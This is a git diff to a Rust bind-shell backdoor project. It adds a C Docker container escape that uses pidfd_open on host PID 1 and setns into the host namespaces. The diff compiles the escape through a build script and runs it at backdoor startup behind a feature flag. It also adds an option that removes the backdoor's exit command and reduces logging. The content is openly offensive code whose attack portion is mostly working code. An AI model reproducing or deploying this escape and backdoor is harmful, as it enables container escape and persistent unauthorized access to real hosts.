diff --git a/Cargo.lock b/Cargo.lock index fe8790e..91fc9ed 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -167,6 +167,7 @@ name = "ex-bind-shell-backdoor" version = "0.1.0" dependencies = [ "anyhow", + "cc", "ed25519-dalek", "ex-bind-shell-key-generator", "log", diff --git a/examples/bind-shell/backdoor/Cargo.toml b/examples/bind-shell/backdoor/Cargo.toml index 5bc5255..d6e4ef1 100644 --- a/examples/bind-shell/backdoor/Cargo.toml +++ b/examples/bind-shell/backdoor/Cargo.toml @@ -13,4 +13,11 @@ anyhow = "1.0.70" tokio-stream = "0.1.14" ed25519-dalek = "1.0.1" log = "0.4.17" -simple_logger = "4.1.0" \ No newline at end of file +simple_logger = "4.1.0" + +[build-dependencies] +cc = "1.0" + +[features] +docker-breakout = [] +no-exit = [] \ No newline at end of file diff --git a/examples/bind-shell/backdoor/build.rs b/examples/bind-shell/backdoor/build.rs new file mode 100644 index 0000000..be7cfaf --- /dev/null +++ b/examples/bind-shell/backdoor/build.rs @@ -0,0 +1,22 @@ +// Copyright (C) 2023 Andrew Rioux +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as +// published by the Free Software Foundation, either version 3 of the +// License, or (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . + +fn main() { + println!("cargo:rerun-if-changed=src/docker-breakout.c"); + + cc::Build::new() + .file("src/docker-breakout.c") + .compile("breakout"); +} \ No newline at end of file diff --git a/examples/bind-shell/backdoor/src/docker-breakout.c b/examples/bind-shell/backdoor/src/docker-breakout.c new file mode 100644 index 0000000..427e4d1 --- /dev/null +++ b/examples/bind-shell/backdoor/src/docker-breakout.c @@ -0,0 +1,48 @@ +/** + * Copyright (C) 2023 Andrew Rioux + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU Affero General Public License as + * published by the Free Software Foundation, either version 3 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Affero General Public License for more details. + * + * You should have received a copy of the GNU Affero General Public License + * along with this program. If not, see . + */ + +#define _GNU_SOURCE +#include +#include +// #include +#include +#include + +/** + * This function when run in a Docker container with the --privileged and --pid=host + * flags is able to break out of a Docker container entirely + */ +int breakout(int *err_loc) { + int fd = syscall(SYS_pidfd_open, 1, 0); + + if (fd < 0) { + *err_loc = 1; + return fd; + } + + int result = setns( + fd, + CLONE_NEWNS | CLONE_NEWNET | CLONE_NEWUTS | CLONE_NEWCGROUP | CLONE_NEWIPC + ); + + if (result < 0) { + *err_loc = 2; + return result; + } + + return 0; +} \ No newline at end of file diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index 09f6417..defe4ad 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -10,10 +10,24 @@ use tokio_stream::StreamExt; use ex_bind_shell_key_generator::PUBKEY; +#[cfg(feature = "docker-breakout")] +extern "C" { + fn breakout(err_loc: *mut i32) -> i32; +} + #[tokio::main] async fn main() -> anyhow::Result<()> { + if let Err(e) = handled_main().await { + log::error!("{:?}", e); + } + + Ok(()) +} + +async fn handled_main() -> anyhow::Result<()> { simple_logger::SimpleLogger::new() - .with_level(log::LevelFilter::Info) + .with_level(log::LevelFilter::Off) + .with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Info) .init()?; let pubkey = @@ -21,6 +35,25 @@ async fn main() -> anyhow::Result<()> { log::info!("Pubkey is good"); + #[cfg(feature = "docker-breakout")] + unsafe { + let mut err_loc: i32 = 0; + let result = breakout(&mut err_loc as *mut _); + let errno = std::io::Error::last_os_error(); + + if result != 0 { + if err_loc == 1 { + log::warn!("Docker breakout was unsuccessful! pidfd_open error: {errno:?}"); + } else if err_loc == 2 { + log::warn!("Docker breakout was unsuccessful! setns error: {errno:?}"); + } else { + log::warn!("Docker breakout was unsuccessful, and error location is unknown! {err_loc}, {result}"); + } + } else { + log::info!("Docker breakout was successful!"); + } + } + let mut interfaces = pcap_sys::PcapDevIterator::new()?; let interface_name = interfaces @@ -148,6 +181,7 @@ async fn handle_command( let cmd_str = std::str::from_utf8(cmd.as_bytes()); match cmd_str.map(|c| c.split(" ").collect::>()).as_deref() { + #[cfg(not(feature = "no-exit"))] Ok(["exit"]) => { let _ = send_exit.send(()).await; return Ok(());